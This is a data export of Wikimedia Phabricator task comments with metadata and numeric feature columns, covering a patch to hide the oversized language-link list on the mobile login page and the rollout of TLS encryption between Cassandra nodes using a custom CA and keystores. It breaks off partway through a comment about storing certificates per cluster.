[[https://gerrit.wikimedia.org/r/234149]]",,,1440700647,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.9166666666666666,"Change 234149 merged by jenkins-bot:
Hide languagelinks list on alpha/beta login page

[[GERRIT_URL]]"
515370,Huge langlinks list on top of mobile login page,"@florian thanks for the patch! I'm not sure from a design perspective if using a drop down is the best idea. I suspect something like ULS would be better ran here (with search interface, preferred languages etc). The mobile blue button should arguably be showing on the login form under the login form for switching languages.

Language engineering - this kind of problem keeps coming up - we serve large chunks of HTML in pages for all the languages we support in a way that impacts mobile readability. I really think language selection should be JavaScript based everywhere with a link as a fallback to a page such as https://en.m.wikipedia.org/wiki/Special:MobileLanguages/San_Francisco

It seems to be a problem with our infrastructure which keeps hurting mobile and I'm keen to address it. @amire80 is it worth us having some kind of chat around the strategy for this kind of thing?",,,1440627962,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,7,True,1.0,0.5,0.0,0.5,0.5,5.5,1.0,0.0,0.0,0.5,2.5,1.0,0.0,0.0,0.0,4.5,0.5,3.5,14.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,7.0,1.5,2.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,20.0,0.0,1.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,3.5,7.5,0.5,0.5,11.0,0.0,0.0,0.5,0.0,3.0,0.0,0.5,0.0,6.5,14.5,1.5,0.5,0.0,0.0,6.5,0.0,1.0,4.0,0.5,3.0,0.5,0.5,0.5,4.241975308641976,0.8010802469135803,"SCREEN_NAME thanks for the patch! I'm not sure from a design perspective if using a drop down is the best idea. I suspect something like ULS would be better ran here (with search interface, preferred languages etc). The mobile blue button should arguably be showing on the login form under the login form for switching languages.

Language engineering - this kind of problem keeps coming up - we serve large chunks of HTML in pages for all the languages we support in a way that impacts mobile readability. I really think language selection should be JavaScript based everywhere with a link as a fallback to a page such as URL

It seems to be a problem with our infrastructure which keeps hurting mobile and I'm keen to address it.SCREEN_NAME is it worth us having some kind of chat around the strategy for this kind of thing?"
515361,Huge langlinks list on top of mobile login page,"Change 234163 had a related patch set uploaded (by Florianschmidtwelzow):
WIP: Convert UserLogin language links into a dropdown select list

[[https://gerrit.wikimedia.org/r/234163]]
",,,1440627434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,4.451612903225806,0.8709677419354839,"Change 234163 had a related patch set uploaded (by Florianschmidtwelzow):
WIP: Convert UserLogin language links into a dropdown select list

[[GERRIT_URL]]
"
515333,Huge langlinks list on top of mobile login page,"Change 234149 had a related patch set uploaded (by Florianschmidtwelzow):
Hide languagelinks list on alpha/beta login page

[[https://gerrit.wikimedia.org/r/234149]]
",,,1440624637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.275862068965517,0.896551724137931,"Change 234149 had a related patch set uploaded (by Florianschmidtwelzow):
Hide languagelinks list on alpha/beta login page

[[GERRIT_URL]]
"
108953,Cassandra inter-node encryption (TLS),"Cassandra supports TLS encryption of traffic between the nodes of a cluster.  We do not currently encrypt inter-node traffic, but in the interest of security, must as a prerequisite to a multi-DC configuration.

//Current status (2015-09-24): `internode_encryption: dc`, (encryption between the eqiad and codfw data-centers) is in place.  `internode_encryption: all` (encryption between nodes in each of eqiad and codfw) remains to be done.//

See also: T111113",High,80.0,1439478796,1449503774.0,PHID-USER-7mtggupugbd5i55vuvdc,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-2tltcgzqagw7twovjjye,task_description,resolved,True,c3,3,False,False,False,6,True,1.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,14.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.901098901098901,0.6373626373626373,"Cassandra supports TLS encryption of traffic between the nodes of a cluster.  We do not currently encrypt inter-node traffic, but in the interest of security, must as a prerequisite to a multi-DC configuration.

//Current status (2015-09-24): CODE, (encryption between the eqiad and codfw data-centers) is in place.  CODE (encryption between nodes in each of eqiad and codfw) remains to be done.//

See also: T111113"
574093,Cassandra inter-node encryption (TLS),"ca/certs expiration tracked in {T120662}, resolving",,,1449503774,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.181818181818182,1.0,"ca/certs expiration tracked in {T120662}, resolving"
534064,Cassandra inter-node encryption (TLS),"we're live with inter-dc encryption for cassandra in production and test, we are still missing a way to track expiration of certs/ca, akin to {T112542} for public certs",,,1443085144,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,19.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.810810810810811,0.8648648648648649,"we're live with inter-dc encryption for cassandra in production and test, we are still missing a way to track expiration of certs/ca, akin to {T112542} for public certs"
531279,Cassandra inter-node encryption (TLS),"Change 239794 merged by Filippo Giunchedi:
cassandra: enable inter-dc encryption

[[https://gerrit.wikimedia.org/r/239794]]",,,1442839784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.190476190476191,0.8571428571428571,"Change 239794 merged by Filippo Giunchedi:
cassandra: enable inter-dc encryption

[[GERRIT_URL]]"
531201,Cassandra inter-node encryption (TLS),"Change 239794 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: enable inter-dc encryption

[[https://gerrit.wikimedia.org/r/239794]]
",,,1442829401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8928571428571429,"Change 239794 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: enable inter-dc encryption

[[GERRIT_URL]]
"
526634,Cassandra inter-node encryption (TLS),"Change 238144 merged by Filippo Giunchedi:
cassandra: enable ssl_storage_port (7001) in ferm

[[https://gerrit.wikimedia.org/r/238144]]",,,1442239332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.260869565217392,0.8695652173913043,"Change 238144 merged by Filippo Giunchedi:
cassandra: enable ssl_storage_port (7001) in ferm

[[GERRIT_URL]]"
526632,Cassandra inter-node encryption (TLS),"Change 238144 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: enable ssl_storage_port (7001) in ferm

[[https://gerrit.wikimedia.org/r/238144]]
",,,1442239244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.066666666666666,0.8666666666666667,"Change 238144 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: enable ssl_storage_port (7001) in ferm

[[GERRIT_URL]]
"
526554,Cassandra inter-node encryption (TLS),"Change 237648 merged by Filippo Giunchedi:
cassandra: enable DC internode encryption for test cluster

[[https://gerrit.wikimedia.org/r/237648]]",,,1442233678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.565217391304348,0.8695652173913043,"Change 237648 merged by Filippo Giunchedi:
cassandra: enable DC internode encryption for test cluster

[[GERRIT_URL]]"
525206,Cassandra inter-node encryption (TLS),"Change 237648 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: enable DC internode encryption for test cluster

[[https://gerrit.wikimedia.org/r/237648]]
",,,1441979324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.3,0.9,"Change 237648 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: enable DC internode encryption for test cluster

[[GERRIT_URL]]
"
525042,Cassandra inter-node encryption (TLS),"Change 237397 merged by Filippo Giunchedi:
cassandra: install certs and CA from private.git

[[https://gerrit.wikimedia.org/r/237397]]",,,1441961794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.363636363636363,0.8636363636363636,"Change 237397 merged by Filippo Giunchedi:
cassandra: install certs and CA from private.git

[[GERRIT_URL]]"
525041,Cassandra inter-node encryption (TLS),"Change 237377 merged by Filippo Giunchedi:
cassandra: new class ca_manager

[[https://gerrit.wikimedia.org/r/237377]]",,,1441961729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.315789473684211,0.8421052631578947,"Change 237377 merged by Filippo Giunchedi:
cassandra: new class ca_manager

[[GERRIT_URL]]"
524333,Cassandra inter-node encryption (TLS),"Change 237397 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: install certs and CA from private.git

[[https://gerrit.wikimedia.org/r/237397]]
",,,1441897114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.137931034482759,0.896551724137931,"Change 237397 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: install certs and CA from private.git

[[GERRIT_URL]]
"
524275,Cassandra inter-node encryption (TLS),"Change 237377 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: new class ca_manager

[[https://gerrit.wikimedia.org/r/237377]]
",,,1441894534,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 237377 had a related patch set uploaded (by Filippo Giunchedi):
cassandra: new class ca_manager

[[GERRIT_URL]]
"
524102,Cassandra inter-node encryption (TLS),"Change 236389 merged by Filippo Giunchedi:
certificate/keystore generation script

[[https://gerrit.wikimedia.org/r/236389]]",,,1441876092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.7368421052631575,0.8947368421052632,"Change 236389 merged by Filippo Giunchedi:
certificate/keystore generation script

[[GERRIT_URL]]"
521678,Cassandra inter-node encryption (TLS),"The [[https://gerrit.wikimedia.org/r/236389|attached Gerrit]] is for a script to generate a root CA and signed keystores, based on the contents of a cluster-specific manifest.  It's still a work-in-progress, sparse on error handling, and isn't secure in its handling of passwords, but I'm posting it now to get early feedback.",,,1441499796,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,13.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,13.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,3.7058823529411766,0.7352941176470589,"The [[GERRIT_URL|attached Gerrit]] is for a script to generate a root CA and signed keystores, based on the contents of a cluster-specific manifest.  It's still a work-in-progress, sparse on error handling, and isn't secure in its handling of passwords, but I'm posting it now to get early feedback."
521676,Cassandra inter-node encryption (TLS),"Change 236389 had a related patch set uploaded (by Eevans):
WIP: certificate/keystore generation script

[[https://gerrit.wikimedia.org/r/236389]]
",,,1441499312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8888888888888888,"Change 236389 had a related patch set uploaded (by Eevans):
WIP: certificate/keystore generation script

[[GERRIT_URL]]
"
520948,Cassandra inter-node encryption (TLS),">>! In T108953#1597221, @fgiunchedi wrote:
> thinking about it more, this scheme would make certs rollover harder since we'll need to have both new+old cert in the truststore. using a CA and having only that in the truststore might simplify things, upon CA rollover we add a new CA to the truststore and issue certs signed with the new CA. 

Using a custom CA sounds good to me.

As discussed on IRC, keeping the keystore passwords on palladium seems acceptable to me, since they need to be stored in plaintext in cassandra.yaml on every restbase* node anyway.",,,1441360180,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,9,True,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,21.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,21.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,4.170212765957447,0.7872340425531915,"QUOTE
QUOTE

Using a custom CA sounds good to me.

As discussed on IRC, keeping the keystore passwords on palladium seems acceptable to me, since they need to be stored in plaintext in cassandra.yaml on every restbase* node anyway."
520396,Cassandra inter-node encryption (TLS),">>! In T108953#1601771, @fgiunchedi wrote:
> thanks @eevans! I think that'll work, basically to generalize it on a per-cluster basis something like:
> [ ... ]
> another open question is what to do with keystore passwords, we're operating on the basis that puppet has access to the files (and it'd need to know the keystore password anyway) and I'm not sure we're encrypting `private.git` material at rest

Yeah, good question.

I'm not sure how useful these passwords are from a security perspective.  On the Cassandra-side of things, the password will be in the clear in `cassandra.yaml`; Any attacker that obtains a copy of the keystore there will probably be able to get the passwords too.",,,1441300071,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,9,True,1.0,0.0,0.0,0.0,1.0,6.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,4.0,15.0,1.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,10.0,9.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7761194029850746,0.7164179104477612,"QUOTE
QUOTE
QUOTE
QUOTE

Yeah, good question.

I'm not sure how useful these passwords are from a security perspective.  On the Cassandra-side of things, the password will be in the clear in CODE; Any attacker that obtains a copy of the keystore there will probably be able to get the passwords too."
520156,Cassandra inter-node encryption (TLS),"thanks @eevans! I think that'll work, basically to generalize it on a per-cluster basis something like:

I was thinking something along the lines of (all in `private.git`) a directory for each cassandra cluster, containing subdirectories for:
* per-server server keystore
* CA private/public key(s)
* (in the future) per-client certificates/keystores

